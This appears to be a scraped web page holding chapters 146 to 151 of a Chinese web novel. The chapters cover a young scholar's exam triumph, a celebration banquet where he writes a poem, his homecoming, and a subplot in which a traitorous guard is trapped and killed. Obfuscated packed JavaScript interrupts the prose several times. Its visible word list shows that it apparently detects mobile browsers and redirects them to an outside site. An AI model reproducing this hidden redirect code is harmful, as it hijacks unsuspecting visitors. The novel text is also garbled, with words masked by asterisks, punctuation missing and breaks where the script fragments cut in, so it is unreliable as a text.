RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453196|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 相公? 她旋即反应过来,说的是自家璘哥儿,脸上瞬间露出灿烂笑容 ,笑得眼睛都眯成了一条缝了。 连忙起身,一边擦着手,一边谦虚地应对:“哎哟,是吗?那可真是祖宗保佑,运气好,运气好! 说着,李氏推了一把小石头:“快,去铺子里把你爹喊回来! 一旁的郑宁闻言,脸上也露出笑容,但她对此结果并不意外。 站起身,也不准备凑这个热闹,转身进了自己的房间。 屋里的沈春芳听到了动静,捋着胡须走了出来。 李氏一见到夫子,更是喜不自胜:“夫子,夫子!璘哥儿中了!考中秀才了,还是第一名嘞! 沈春芳脸上笑意盎然,捻须长笑。 “好,好啊! 话音刚落,报喜的队伍终于抵达,吹拉弹唱,敲锣打鼓,将小小的院子挤得满满当当。 为首的衙役上前一步,展开喜报,高声唱喏: “恭喜贵府卢璘卢老爷,高中己卯科童试案首,名列江南道第一!经学政大人钦点,授为廪生!祝卢老爷日后连中三元,捷报频传! 跟进来的邻居们纷纷上前道喜。 “恭喜啊李婶!我早就看你家璘哥儿不是一般人,真是给咱们文庙街争气! “李婶以后可就是秀才娘,要过好日子喽! 李氏笑得嘴都合不拢,被这阵仗弄得有些手足无措。 还是一旁的沈春芳轻声提醒,她才反应过来,连忙从怀里掏出早就备好的赏钱,一个个塞到衙役们手里。 就在这时,卢厚气喘吁吁地从外面挤了进来。 他一见自家院子里这般热闹的场面,听着那“江南道第一的唱喏,整个人都激动得有些发懵。 李氏一把将他拉过来,低声吩咐:“你先应付着这些街坊邻居和官爷。 卢厚闻言有些意外。 这婆娘今天怎么改性子了?这种出风头的好事,居然让给自己? 还没等他想明白,就听见李氏喜气洋洋地接着说: “这么好的日子,我当然得回屋换上我的三品诰命服再出来! 卢厚:“. 第147章 簪花宴 另一边,临安府。 众人抵达圣院分院已是午后。 书写亲供的流程并不繁琐,但于这群新晋秀才而言,却意义非凡。 当众人换上崭新的生员服,在官府文书上,一笔一划写下自己的姓名、籍贯、三代履历,再由教官审核、盖上朱红印鉴时,一种前所未有的身份认同感,油然而生。 从此,便不再是寻常百姓,而是有了功名的读书人,是老爷,是士。 黄观主动承担起了组织协调的事务,安排众人依次上前,一切井井有条,滴水不漏,足见其稳重细致。 待到所有人的亲供都书写完毕,存档入库,天色已近黄昏。 接下来便是重头戏。 簪花宴。 簪花宴,朝廷为新科生员举办的庆功宴。 由学政主持,地方官吏与乡绅名流作陪,为这些刚刚踏入士林的年轻人接风洗尘,同时也要提点他们,戒骄戒躁,莫要因一时得意,而忘了前路漫漫。 举办地点设在临安府最有名的望江楼。 当卢璘与一众自强社的学子们抵达时,望江楼外早已车水马龙。 他们这一群人,尽皆身着崭新的青衫生员服,个个意气风发,自然引人注目。 尤其是被众人隐隐簇拥在中央的卢璘,身姿挺拔,气度从容,更是瞬间成了全场的焦点。 楼内提前到场的官吏名流们,纷纷投来探寻的视线。 “那为首的年轻人,想必就是此次冠绝江南的卢案首了?” “果然是盛名之下无虚士,这般风采,这般气度,我临安府多少年没出过这等人物了!” “确实有一番风度,领袖之姿。” 议论声中,卢璘的脚步没有半分停顿。 就在这时,楼外传来一阵唱喏,学政魏长青到了。 魏长青一入场,原本有些嘈杂的望江楼瞬间安静下来。 他环视一圈,看到那群精神抖擞的新晋生员们时,满意地点了点头。 “诸位都是我大夏的读书种子,我江南道的俊杰啊。” “见过学政大人!”一众新晋生员向学政大人恭敬行礼。 魏长青摆了摆手:“今日无须多礼,你们才是主角,都入座吧。” 话虽 如此一众学收敛起激动不敢有半分放肆。 所有人的动作都慢了半拍不约而同地望向卢璘。 直到卢璘平静地走向自己的席位他们齐刷刷地动身秩序井然地跟在后面各自落座。 这一幕清晰地落在了主位上的魏长青眼中。 魏长青脸上不动声色心中却泛起了嘀咕。 这么快就已经将人心聚拢到如此地步了? 当真不凡。 不仅是魏长青在场的其他官吏名流也都注意到了这个细节看向卢璘的表情更多了几分郑重。 待众人全部落座魏长青站起身。 没有立刻说祝贺的场面话而是郑重其事地在每一位新晋生员的脸上扫过缓缓开口。 “今日诸生簪花宴饮本是朝廷恩典但老夫既为学政便不得不先泼一瓢冷水。” 堂下声息一滞所有新晋生员都凝神屏息望向高台。 “此番院试江南道考生数万取中者不过千人。而落榜者何止万千?在场诸位今日能著新衫、簪宫花非惟才学过人亦是时运使然。” “莫要以为过了院试就能平步青云。老夫在礼部十年见过多少少年得意之人最终困顿场屋终老牖下?又有多少寒门俊杰因一时骄惰再未能更进一步?” “今岁秋闱乡试北直隶解额减两成而庐陵、湖广诸府文风大盛群英荟萃。更有传承千年的世家子弟决定下场这是真正的大争之世!尔等前有强敌后有追兵!” 说到这里魏长青特意停顿了一下。 他本以为当听到“世家下场”这四个字时眼前的新晋生员们脸上会露出惊惧、颓丧或是迷茫。 可魏长青看到的却是一张张更加坚毅的脸 怎么回事? 这群年轻人非但没有被吓住反而一个个更有劲了? 魏长青心中困惑只当是少年人心高气傲不知天高地厚。 没有细想继续开口: “但科场之道不在畏敌而在克己!” “从今日起忘掉你们的新方巾、锦绣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453197|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣!忘掉衙役唤你们的那声‘老爷’!乡试在即若沉醉于这小小功名明年此时便是 他人坐此饮宴尔等门外嗟叹!” “八月乡试桂香满城之时望诸君皆在鹿鸣宴上而非蜷缩客栈懊悔蹉跎!” 世家下场群雄逐鹿。 学政大人描述的严峻局面非但没有击垮新晋生员们信心。 反而让他们愈发觉得今日结社之举 北直隶解额削减湖广庐陵文风大盛再加上那些盘踞朝堂数百上千年的世家大族亲自下场。 这已经不是一场单纯的科举而是一场真正的龙虎之争。 单打独斗面对这等强敌无异于以卵击石。 唯有抱团取暖拧成一股绳方有一线生机! 众人不约而同地看向人群中央的卢璘看到他那份从始至终的平静心中最后的一丝浮躁也随之安定下来。 有卢案首在何惧之有? 魏长青将众人的反应尽收心底心中不免有些诧异。 这群年轻人筋骨竟如此之硬? 他没有再多言点了点头示意身旁的官吏。 “吉时已到为诸生簪花!” 随着一声唱喏数名小吏捧着红漆托盘鱼贯而入盘中盛放着一朵朵红色宫花娇艳欲滴。 簪花顾名思义便是由主考官亲手为上榜的考生戴上花朵插于帽上或鬓边。 不仅是荣誉的象征更是一种官方的身份认证仪式感十足。 在卢璘看来这与后世运动员夺冠后佩戴奖牌花环并无本质区别。 只是古人更偏爱“头上戴花”这份风雅。 簪花仪式从榜末开始。 魏长青亲手拿起一朵宫花高声念出名字。 被念到名字的生员满脸激动地出列走到台前恭恭敬敬等待魏长青。 魏长青的动作不快每为一人簪花都会勉励一句。 “不错。” “继续用功。” “乡试再见。” 简单的几个字却让新晋生员们激动得热泪盈眶。 随着一个个名字被念出终于轮到了最前列。 “江南道案首清河卢璘。” 第148章 少年自有**志! 当卢璘名字响起时,整个望江楼都安静下来。 所有人的注意力,都汇聚到了缓步走出卢璘身上。 卢璘走到台前,对着魏长青长身一揖。 魏长青脸上露出一抹欣赏。 拿起最大最艳的一朵宫花,亲自走到卢璘面前。 看着眼前这个身姿挺拔,气度沉稳的年轻人,魏长青心中感慨万千。 县试一鸣惊人,写下《圣策九字》这等传天下的雄文。 府试三首战诗词,无一不是经典之作。 京都斗法盛会,压得西域诸国抬不起头。 渡口送别,一句“天下谁人不识君”,名动京都。 魏长青都忘了已经有多少年,没有见过这等出色的寒门贵子了? 更难得的是,卢璘已隐隐有了领袖之姿,将桀骜不驯的江南才子,聚拢在了自己身边。 感慨中,魏长青亲手将宫花,端端正正地簪在了卢璘的士子巾上。 “乡试之路,比院试更难百倍,万万不可懈怠。” “学生谨记。”卢璘平静回答。 魏长青点了点头,退后一步,环视堂下所有簪花完毕的生员,朗声宣布。 “簪花礼毕,随老夫往圣院,拜谒先师!” 拜谒先师,是簪花后的一项流程。 魏长青亲自领着这一百多名新晋生员,浩浩荡荡地离开了望江楼,朝着圣院的方向走去。 圣院深处,坐落着一座庄严肃穆的大殿。 殿门之上,悬挂着一块巨大的牌匾,上书三个龙飞凤舞的大字。 万圣殿。 殿内,供奉着十尊巨大的圣人石像。 正中央的,自然是万世师表,至圣先师丘,他手持经卷,垂眸而立,教化众生。 其身侧,分列着其他九尊圣像,形态各异。 有手持毛笔,挥毫泼墨的书圣。 有肩扛锄犁,满面风霜的农圣。 有手托天平,不偏不倚的法圣。 有手抚心口,体察人情的心圣。 有张开双臂,欲怀抱天下的公圣。 有手指苍穹,探究至理的智圣。 有捧书而读,沉浸其中的文圣。 有凝视卦象,推演天机的理圣。 还有闭目盘坐物我两忘的道圣。 十尊圣像代表着儒学传承的十个不同方向共同构成了这座文道的最高殿堂。 卢璘跟在众人身后走进大殿一股厚重的历史气息扑面而来。 祭拜的流程并不复杂。 在魏长青的带领下众人先是在殿外的水池净手而后依次进入殿中从司仪手中接过三炷清香。 点燃高举过头顶对着十尊圣像恭恭敬敬地三拜九叩。 卢璘老老实实地跟在队伍里每一个动作都做得一丝不苟。 轮到他上前。 卢璘点燃清香对着正中的至圣先师像行了大礼。 而后从右至左依次拜过其余九圣。 当他走到书圣像前时恭敬的三拜之后依礼抬头瞻仰圣像。 就在抬头的那一瞬间卢璘清楚地看到书圣像原本肃穆的嘴角竟然微微向上翘起露出了一抹笑意。 卢璘整个人僵住了。 他下意识地眨了眨眼再次定睛看去。 圣像还是那尊圣像。 石像的面容依旧庄严肃穆没有任何变化。 是自己看错了? 还是因为连日考试精神太过疲惫出现了幻觉? 卢璘轻轻摇了摇头将荒诞念头甩出脑海继续跟着队伍走向下一尊圣像。 祭拜完毕魏长青领着众人自圣院而出重返望江楼。 楼内灯火通明气氛已然与之前大不相同。 簪花宴不仅仅是官方认证的环节更是社交场名利场。 新晋生员们在这里混个脸熟而江南道官吏与乡绅名流们则要在这里挑选值得投资的潜力股。 众人刚刚落座酒菜还未上齐便有按捺不住的乡绅名流端着酒杯离席。 众人目标很明确。 “卢案首久仰大名老夫敬你一杯!”一名身穿锦袍腹部高挺的富商 卢璘起身端起酒杯平静回应:“不敢先生客气了。” 两人一饮而尽。 富商刚走立刻又有两三名乡绅围了上来言辞间满是恭维与拉拢。 当然黄观、陆恒这些总榜上名列 前茅家世又不错的学子身边也同样围拢了不少人。 一时间望江楼内觥筹交错人声鼎沸。 面对一波又一波前来敬酒的人卢璘始终从容淡定来者不拒应对得体给足了每个人面子。 这份远超同龄人的沉稳让主位上的魏长青看得连连点头。 也让在场的其他官吏名流对卢璘的评价又高了几分。 科举是踏入士林的敲门砖但想在官场上走得远光有才学是远远不够的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453198|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 人情世故迎来送往这些都是必修的功课。 酒过三巡菜过五味。 气氛愈发热烈。 就在这时一名颇有名望的老乡绅站起身高声笑道:“诸位今日簪花宴我等能与江南道这么多青年才俊共聚一堂实乃幸事!” 他顿了顿视线汇聚到卢璘身上。 “老夫久闻卢案首诗才无双一曲《别庞盛》引得京都纸贵。今日此等盛会不知我等是否有幸能得见卢案首再赋佳作一篇为我江南道文坛再添一笔华彩? 此言一出原本还嘈杂的望江楼瞬间安静了下来。 无数道视线齐刷刷地汇聚到了卢璘身上。 主位上魏长青也放下了酒杯脸上带着笑意饶有兴致地看了过来。 自强社的一众新晋生员们更是个个挺直了腰板脸上与有荣焉。 这就是他们的社首。 人的名树的影。 只需一个名字便能成为全场的焦点。 万众瞩目之下卢璘缓缓放下了手中的筷子。 不管是为自强社的成立还是为自己获取功名走上人生的新阶段 他站起身对着那名老乡绅和满堂宾客平静地点头。 “既是簪花宴自当有诗助兴。” “好!” 不知是谁先喊了一声紧接着满堂喝彩! 很快一张宽大的书案被抬到了大厅中央下人们送上了早已备好的笔墨纸砚。 黄观没有半分犹豫快步上前亲自为卢璘摊开宣纸用镇纸压住四角。 陆恒也紧随其后拿起墨锭开始在砚台中细细研磨。 自强社的其他人则自发地围成一圈将卢璘和书案护在中间隔开了那些想要凑得更近的宾客。 这番默契的举动让魏长青看得若有所思。 卢璘走到书案前。 没有立刻提笔而是闭上双眼静立了片刻。 胸中郁结的妖蛮之危院试三场的激荡金榜题名的平静结社自强的豪情.种种情绪如潮水般在心头涌过最终归于一片清明。 满堂宾客屏气凝神生怕错过任何一个细节。 终于。 卢璘睁开双眼动了。 提起笔饱蘸浓墨手臂悬于半空。 笔锋微顿而后如龙蛇游走: 《望江楼·簪花宴赋》 百尺楼头剑气横 江天**看潮生。 少年自有**志 不向人间问功名。 第149章 游子归乡。 笔落,诗成。 卢璘放下笔,后退半步。 满堂宾客的视线,死死地钉在纸上。 《望江楼·簪花宴赋》 百尺楼头剑气横,江天**看潮生。 少年自有**志,不向人间问功名。 寂静。 整个望江楼,落针可闻。 “好!” 魏长青猛地一拍桌案,霍然起身! “好一个少年自有**志,不向人间问功名。” 一声暴喝,炸醒了满堂宾客。 “此诗,当为我江南道第一江楼题咏歌!” “何止是江南道,此等气魄,放眼大夏,谁人能及!” “前有天下谁人不识君,今有少年自有**志,不向人间问功名” “卢案首!真乃我辈楷模!” 赞叹之声,不绝于耳。 自强社的学子们个个脸上放光。 那名最先提议作诗的老乡绅,激动得胡子都在抖,第一个冲了上去。 “卢案首,此等佳作,足以传世!老夫愿出五千两,求购此墨宝!” 话音未落,旁边那名腹部高挺的富商立刻挤了过来。 “五千两?老先生,你当我江南道无人不成?我出八千两!” “我出一万两!” “都别争了,老夫出一万二千两!谁也别跟我抢!” 一时间,望江楼变成了竞拍场,平日里养气功夫不俗的乡绅名流们,此刻为了争夺一幅字,吵得面红耳赤。 黄观和陆恒等人下意识地将书案护在身后,生怕这些人冲上来直接动**。 就在场面即将失控之时,魏长青重重地咳嗽了一声。 全场瞬间安静下来。 魏长青缓步走下主位,来到书案前。 低头看着宣纸上的诗句,久久不语。 良久,魏长青抬起头,环视众人。 “此诗,乃卢案首于簪花宴上所作,当为我江南道院试之见证。” “依朝廷规制,当由学政衙门收录存档,以备史官查阅。” 说完,魏长青也不管众人反应,亲自上前,小心翼翼地将宣纸卷起,收入袖中。 动作行云流水,一气呵成。 在场的乡绅名流们全都愣住了。 收录存档? 备史官查阅? 谁不知道你魏长青是出了名的爱书法,这分明就是假公济私,仗着官威强抢! 可谁敢说一个不字? 人家是学政,是这次院试的主考官,说的话就是规矩。 众人只能眼睁睁看着这幅足以传家的墨宝,被魏长青据为己有,一个个捶胸顿足,懊悔不已。 连黄观和陆恒都傻了眼,他们本以为这首诗的原稿,怎么也该归自强社所有,作为镇社之宝,没想到半路杀出个程咬金。 魏长青将诗稿收好,脸上恢复了严肃。 “宴席已毕,诸生当谨记今日之言,好生用功,备战秋闱。 “卢璘留下,其他人,散了吧。 众人不敢多言,纷纷起身告辞。 自强社的学子们走到卢璘身边,约定了下次文会的日期后,也结伴离去。 很快,偌大的望江楼,只剩下卢璘与魏长青二人。 簪花宴结束后,卢璘在临安府又逗留了两日,与自强社众人敲定了社团章程的诸多细节,这才动身返回清河县。 卢璘人走了,可那首《望江楼·簪花宴赋》却在整个临安府,乃至江南道,掀起了轩然大波。 无数文人墨客争相传抄,乡绅名流们更是千金求一字而不得。 最后还是学政魏长青,不知从哪弄来了一份拓本,分发给了临安府各大书局,这才平息了这场风波。 …… 两日后,一辆马车缓缓驶入清河县城。 车轮滚滚,最终停在了文庙街,卢记下水铺子前。 铺子里,小石头正百无聊赖地坐在门口的小板凳上,托着腮帮子看街景。 不远处,李氏正麻利地拾掇着一大盆下水食材,嘴里没好气地数落着一旁的卢厚。 “你个猪脑子,让你多买点二刀肉,多买点猪脚,你听不见是吧?这点怎么够! 二刀肉,就是猪头卸下后,屠夫斩第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453199|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀时所取的整块腮帮嫩肉,肥瘦相间,层次分明,是猪头肉中的精华。 卢厚闻言也不恼,一脸憨笑地解释:“我记得了,今天肉铺子里的二刀肉和猪脚,都被我包圆了,就这么多。掌柜的说了,明天再给 我留。” 坐在门口的小石头回头瞧了一眼盆里,不解地问:“娘,不是挺多的吗?咱们店里,猪脚和二刀肉又卖得不好,你买这么多干嘛?” 李氏手上动作不停,头也不抬地回答:“估摸着时间,你哥快回来了。腊猪脚和酱二刀肉,你哥最爱吃了。” 小石头一听,小嘴立刻鼓了起来,气呼呼地站起身。 “娘你就是偏心!我天天让你买桂花糕,你都装听不见!” 李氏瞥了女儿一眼。 你这丫头养得白白胖胖,脸蛋圆得跟个包子似的,不知道的还以为老娘天天饿着你呢。 “你还小,长身体的时候,哪能这么挑食?给你吃什么就吃什么!日子刚好过几天,你还挑上了?” 李氏把手在围裙上擦了擦,准备好好教育一下小石头。 “你是不是忘了以前过的什么日子了?想吃颗鸡子都得挨你奶一顿打,这就忘本了是吧?” 小石头一脸不服气,扭过头去,不看李氏。 李氏正要再骂几句这丫头的犟脾气不知道随了谁,一抬头,嘴巴却忽然闭上了。 只见铺子门外,不知何时站了一个背着行囊的身影。 “谁又惹我娘生气啦?”卢璘笑脸盈盈,顺手在小石头脸上掐了一下,引来小石头的不满。 听到熟悉的声音,李氏火气瞬间消失得无影无踪,眼神立马温柔起来。 “璘哥儿回来了。” 可那温柔只持续了一瞬,李氏转头又恢复了母老虎的模样,对着卢厚呵斥道:“你瞎啊!不知道给你儿子拿东西啊!” 卢厚嘿嘿一笑,连忙跑出去,从卢璘手上接过行囊,站在一旁仔仔细细地打量着儿子,看看是胖了还是瘦了。 李氏满脸笑意地走到卢璘面前:“璘哥儿饿了吧?想吃啥,娘回去给你做。” “就想吃娘做的腊猪脚。” 第150章 猎人和猎物 夜色如墨,北地的风,刮得人脸生疼。 距离京都百里外的一间破庙内。 浩然卫缇骑赵四带着少爷已经在这停留了三天。 明明京都就在眼前,却迟迟没有返回。 “京都城门**,盘查极严,我等需等待时机。” 这是赵四给出的理由。 少爷对此半信半疑。 **? **到连圣院浩然卫都进不去? 可少爷身上本就有伤,连日奔逃,早已是**之末,只能听从安排。 第四日清晨,两人终于再次上路。 可马头调转的方向,却让少爷的心沉了下去。 他们没有走向京都,反而在向东而行。 又行了半日,眼看距离京师越来越远,少爷终于按捺不住,他勒住马缰,停在了路边。 “赵缇骑。” “为何距离京都不到百里,却要往反方向走?” 问话的同时,少爷右手不自觉地搭在了腰间的吴钩上,整个人精神紧绷。 这几日的相处,赵四一直沉默寡言,却又照顾得无微不至。 可越是这样,少爷心中越是不安。 赵四闻言也勒住了马,转过头,脸上带着笑。 可这个笑容,在少爷看来格外诡异。 赵四的视线在少爷按着吴钩的手上扫过,却不见半分紧张,反而笑意更浓。 “柳少爷,说说看,庞将军让你带了什么消息回来?” 果然如此。 少爷心中一凛。 这是要撕破脸了。 少爷瞳孔微缩,腰间发力,手中吴钩就要出鞘! 可他快,有人比他更快。 一道寒光闪过,少爷只觉得脖颈一凉,一柄短刀已经稳稳地架在了他的脖子上。 赵四不知何时已经到了他的身侧,脸上依旧挂着那副人畜无害的笑容。 而少爷的手才刚刚握住刀柄。 一层冷汗瞬间从少爷额头渗出。 他甚至没看清赵四是怎么动的。 怪不得,怪不得表哥要让赵四送自己回来。 原来,他早就发现了赵四有问题。 这是拿自己当诱饵啊! 少爷心 里一阵狂呼。 “表哥!林然!你个混蛋!” 再不现身你表弟我就真要**啊! 就在少爷心头狂呼之时余光一瞥 虽然只是一瞬但身形少爷绝不会认错。 表哥一直跟在我们身后。 少爷心中顿时有了底气。 既然是诱饵那就得演得像一点还得把鱼的嘴撬开才行。 他强作镇定对着赵四冷笑。 “我是柳阁老的孙子你敢动我一根汗**就不怕我爷爷秋后算账将你满门抄斩吗?” 赵四听到这话毫不顾忌地大笑起来。 “柳阁老?” “柳阁老自身能不能保全都是问题还能顾得上你?” 少爷心中一动追问道:“你是宴居的人?” 赵四笑而不语。 但沉默已是最好的回答。 少爷瞬间明白了。 镇北城之失庞将军之死绝非偶然。 一股怒火直冲头顶一想到镇北城几十万无辜百姓少爷心里一阵悲凉。 这就是我大夏首辅吗? 几十万百姓的生死都不顾。 少爷牙齿都快咬碎了破口大骂: “宴居狗贼!祸国殃民!” “为了一己私利竟勾结妖蛮坏我大夏边墙致使万千百姓流离失所你们这群畜生不得好死!” “我大夏的读书人怎么会出了你们这等败类!” 赵四闻言笑容终于收敛了几分变得一片森然。 “骂完了?” 说着手中的短刀又贴近了少爷脖子几分。 “我算是告诉了你答案柳少爷你是不是也该把你的答案告诉我了?” “否则……” 赵四的话还没说完一道平静的声音忽然从他身后传来。 “否则如何?” 赵四的身形猛地一僵。 他缓缓转过头看到了从林中缓步走出的林然。 以及林然身后那十一名手按刀柄面无表情的浩然卫缇骑。 “林然.” 赵四的牙缝里挤出了两个字。 林然没有理 他而是看向少爷。 “权哥儿辛苦了。” 明明脖子上的刀还架着少爷此刻却长长地舒了一口气整个人都瘫软下来。 “表哥你再晚来一步我可就真交代了。” 赵四的脸色变得极为难看这时终于反应过来了。 自己从一开始就落入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453200|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了林然的圈套。 什么护送阁老之孙不过是引蛇出洞的诱饵。 “林然你好算计。”赵四冷冷开口。 林然走到他面前停下脚步。 “彼此彼此。” “束手就擒吧!” 赵四闻言反而笑了。 他手腕一动短刀在少爷的脖子上划出了一道浅浅的血痕。 “束手就擒?然后让你们把我拿下送回圣院受千刀万剐之刑?”赵四摇了摇头。 “林然你我同僚一场你应该知道我的手段。我若想走你这十几个人拦不住我。” “但你这个表弟可就未必了。” 林然身后的十二名缇骑齐刷刷地拔出了腰间的长刀刀锋在日光下泛着寒光。 肃杀之气弥漫开来。 林然却抬了抬手制止了手下的动作。 看着赵四林然平静地开口: “你走不了。” 赵四嗤笑一声:“你可以试试。” “我不是在跟你商量。” 林然往前踏了一步。 “钦天监里不止你一个内奸。你们的名单你们的联络方式你们在北境所有的布置我都知道了。” 赵四的脸色终于变了。 “不可能!” “没有什么不可能。” “你以为我为何要在北境耽搁这么久?当真只是为了找他?” 林然指了指少爷少爷愣了一下不是来找我的? “我是在等。” “等你们自己把尾巴都露出来。” 赵四的心一点点沉了下去。 看着林然那张毫无表情的脸一股寒意从心底升起。 从头到尾就是局。 从他接到命令加入林然小队成为北境斥候开始就已经开始的局。 而自己不是猎人而是猎物。 “你以为我会信你的鬼话?”赵四仍是不甘心。 林然没有再解释从怀中取出了一卷卷宗扔在了地上。 卷宗摔在地上散了开来。 最上面的一页赫然画着赵四的头像旁边朱笔批注着他的姓名、籍贯、以及加入钦天监后与北境妖蛮联络的所有记录。 时间地点接头人。 一清二楚。 赵四眼睛一扫 这份卷宗是圣院的绝密档案除了院监无人能够调阅。 林然他怎么可能拿到? 第151章 不朽文躯 “现在,你还要带着我表弟一起走吗?”林然问。 赵四沉默了。 他知道,自己败了。 败得一塌糊涂。 良久,赵四忽然笑了起来,笑声满是自嘲和疯狂。 “好,好一个林然,好一个浩然卫巡风使!” “我认栽。” 话音落下,架在少爷脖子上的短刀,猛地向后一甩,化作一道寒光,直取林然的面门! 与此同时,赵四脚下发力,整个人如同离弦之箭,朝着与林然相反的方向暴退而去! 擒贼先擒王。 只要拿下林然,他还有一线生机。 可林然,早就料到了他的动作。 面对飞来的短刀,林然不闪不避,只是伸出两根手指,轻轻一夹。 势大力沉的短刀,便被他稳稳地夹在了指间,纹丝不动。 身后十二名缇骑,早已结成战阵,数柄长刀,从四面八方,封**赵四所有的退路。 刀光交错,织成一张天罗地网。 赵四的身形,在**中戛然而止。 他的胸前,背后,腹部,同时被三柄长刀贯穿。 鲜血汩汩流出。 赵四低下头,看着穿透自己身体的刀尖,脸上露出一抹解脱的笑。 他缓缓抬起头,最后看了一眼林然。 “林然,你们什么都改变不了” 说完,头一歪,气绝身亡。 林然面无表情地走上前,从赵四怀中,搜出了一枚小小的骨哨。 这是妖蛮用于传讯的工具。 他将骨哨收起,对着身后的缇骑下令。 “处理干净。” “遵命。” 少爷看着眼前这血腥的一幕,胃里一阵翻江倒海,却强忍着没有吐出来。 用尽全身力气走到林然身边,林然上上下下仔细打量了一番少爷,看他虽然虚弱,但生命安全倒是没问题。 转头挥手,让身后的缇骑检查周围,待现场只剩下自己和权哥儿后,这才开口道: “权哥儿,你身上的秘密,现在可以说了。” 少爷闻言,脑海中闪过庞将军最后的嘶吼,头当时就低了下来,眼中满是恍惚: “表哥,君父 ,君父,真的有父亲能狠心抛弃自己的孩子吗? 林然闻言,瞳孔骤缩。 清河县,文庙街,卢家小院。 卢璘刚从下水铺子帮完忙回来,正准备回房温书,却被院子里的沈春芳喊住了。 “璘哥儿,你过来一下。 沈春芳坐在石凳上,看着自己最得意的学生,心里满是感慨。 当初在柳府静心堂私塾里,念叨着“万般皆下品惟有读书高 如今已是身有功名的秀才。 秀才,拥有的不仅仅是功名,更是初步掌握了超凡之力的凭证。 才气可以化形,能够书写战诗词,以笔为刃,杀敌于无形。 而且卢璘则更为特殊,掌握的战诗词数量和质量远高于寻常秀才。 沈春芳看着卢璘,缓缓开口: “还记得当初,为师问你为何读书吗? “你的初心,可曾改了? 卢璘略作思索,便明白了夫子话中的深意。 这是担心自己骤然获得超凡之力,心性不稳,驾驭不住这凭空而来的力量。 郑重地点了点头,回答得干脆利落: “夫子,失志未渝。 听到这个回答,沈春芳脸上略显欣慰,神情依旧严肃。 “好一个矢志未渝。 “但你要记住,持才如持刃。三岁童子握刃,只会割伤自己的手指。市井莽夫持刃,只会恃强凌弱,伤及无辜。 “唯有真正的大匠,才能让锋利刃口朝向自己,刮骨验心,雕琢璞玉。 “你现在只是秀才,刚刚踏入这扇门。若是心性不能驾驭这股力量,终有一日,会被力量反噬己身。 沈春芳语气变得沉重。 “这还只是秀才,初步掌握战诗词之力。等你将来成了举人、进士、翰林,甚至是大儒之境,你的一言一行,都足以影响国运。 “至于大儒之上的文宗,更是能成就文道不朽之躯,一言可定天宪,一言而决天下兴亡。到了那时,更要明白今日为师所说之理。 夫子话锋一转,叹了口气。 “现在和你说这些,虽为时尚早,但你必须明白,人,才是超凡的主人。这个次序,绝不可 颠倒。” 文宗 成就不朽之躯? 卢璘听着夫子的话整个人仿佛被一道惊雷劈中。 前段时间所有的困惑所有的不解在听到“不朽之躯”这四个字后瞬间串联了起来。 《大夏太祖实录》中太祖登临鲁地叩问至圣先师丘的那一段对话 “太祖问曰:‘寡人闻‘天命靡常惟德是辅’。德不自显必假文以明道。愿从先生游于圣门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453201|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 